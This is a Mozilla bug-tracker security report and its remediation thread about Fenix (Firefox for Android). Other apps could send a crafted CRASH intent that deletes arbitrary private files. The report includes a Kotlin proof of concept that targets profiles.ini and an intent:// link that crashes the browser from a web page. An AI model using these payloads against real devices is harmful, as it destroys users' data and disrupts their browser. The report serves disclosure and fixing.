CRASH intent in Fenix allows other apps to delete arbitrary private files
Categories
(Firefox for Android :: General, task)
Tracking
()
People
(Reporter: sdna.muneaki.nishimura, Assigned: roger)
Details
(4 keywords, Whiteboard: [reporter-external] [client-bounty-form] [verif?])
Attachments
(2 files, 2 obsolete files)
|
3.05 MB,
image/gif
|
Details | |
|
7.87 KB,
patch
|
sebastian
:
review+
|
Details | Diff | Splinter Review |
Any intent that has key mozilla.components.lib.crash.CRASH is handled as CrashReporter intent and Fenix shows CrashReporterFragment on the screen (below).
https://github.com/mozilla-mobile/fenix/blob/master/app/src/main/java/org/mozilla/fenix/home/intent/CrashReporterIntentProcessor.kt#L20
The CRASH intent can contain a local file path in minidumpPath or extrasPath key and the specified file pathes are finally sent to the crash-stats server and deleted (below).
https://github.com/mozilla-mobile/android-components/blob/master/components/lib/crash/src/main/java/mozilla/components/lib/crash/service/MozillaSocorroService.kt#L245
This means that other application can delete arbitrary Fenix's private files in the device (e.g., profiles.ini) by sending a crafted CRASH intent.
The following Kotlin code is the demonstration. Also see the attahed animation gif.
var intent = Intent("android.intent.action.VIEW", Uri.parse("https://example.com/"))
intent.putExtra("mozilla.components.lib.crash.CRASH", Bundle().apply {
putString("uuid", "DUMMY")
putString("minidumpPath", "/data/data/org.mozilla.fenix.debug/files/mozilla/profiles.ini")
putBoolean("minidumpSuccess", true)
putBoolean("fatal", false)
})
startActivity(intent)
Updated•6 years ago
|
Comment 1•6 years ago
|
||
Could this intent be sent from Fenix itself? I think we finally blocked self-intents, but this one may go to a separate component or service. If it could be a self-intent then users could be exposed to a pretty bad DOS from web content, not just a local malicious app.
| Reporter | ||
Comment 2•6 years ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #1)
Could this intent be sent from Fenix itself? I think we finally blocked self-intents, but this one may go to a separate component or service. If it could be a self-intent then users could be exposed to a pretty bad DOS from web content, not just a local malicious app.
I think it would be partially yes.
Fenix allows to send a CRASH intent from web contents by intent: link and that makes Fenix crash easily.
<a href="intent://csrf.jp#Intent;scheme=http;S.mozilla.components.lib.crash.CRASH=XXX;end">Crash Fenix</a>
You can try this here.
https://csrf.jp/2020/crash.html
But I don't know how to set minidumpPath in that intent URL because that parameter is in a Bundle type extras...
Updated•6 years ago
|
Updated•6 years ago
|
| Assignee | ||
Comment 3•6 years ago
•
|
||
After looking into this issue. The safest (smallest) change is to check the crash dump file extensions before parsing / deleting the files.
| Assignee | ||
Comment 4•6 years ago
|
||
Comment 5•6 years ago
|
||
You can make the filename check even tighter, see the regex we use in the crash manager.
| Assignee | ||
Comment 6•6 years ago
|
||
(In reply to Gabriele Svelto [:gsvelto] from comment #5)
You can make the filename check even tighter, see the regex we use in the crash manager.
Nice, I'll update. Thanks!
| Assignee | ||
Comment 7•6 years ago
|
||
Update with regex from GV
Comment 8•6 years ago
|
||
| Assignee | ||
Comment 9•6 years ago
|
||
(In reply to Sebastian Kaspari (:sebastian; :pocmo) from comment #8)
Left over from testing? :)
oops I'll remove.
Do we need to escape the dots here to avoid them being interpreted as "any
character"?
You're correct. This is interpreted as "any", not what I wanted. I'll fix.
| Assignee | ||
Comment 10•6 years ago
|
||
(In reply to Sebastian Kaspari (:sebastian; :pocmo) from comment #8)
In this case the Intent was a "public" API that other apps could have
invoked too (exported activity). But I do wonder if we prevent "intent://"
URLs from invoking internal components that are usually not marked as
exported in the manifest?
I'll investigate.
| Assignee | ||
Comment 11•6 years ago
|
||
Updated•6 years ago
|
| Assignee | ||
Comment 12•6 years ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #1)
Could this intent be sent from Fenix itself? I think we finally blocked self-intents, but this one may go to a separate component or service. If it could be a self-intent then users could be exposed to a pretty bad DOS from web content, not just a local malicious app.
I've confirmed that web content cannot trigger this issue. Current implementation filters out all browsers (including ourselves) when looking for a third party app to handle the intent. If there is no third party app that handles this, we extract the URL from the data (without the "mozilla.components.lib.crash.CRASH" extra) and just loads the URL. In this case the result will see Fenix loading "https://www.example.com" without handling the crash bundle.
| Assignee | ||
Comment 13•6 years ago
|
||
Patch applied and merged in A-C. Marking this issue as resolved.
Updated•6 years ago
|
Updated•6 years ago
|
Updated•5 years ago
|
Updated•4 years ago
|
Updated•2 years ago
|
Description
•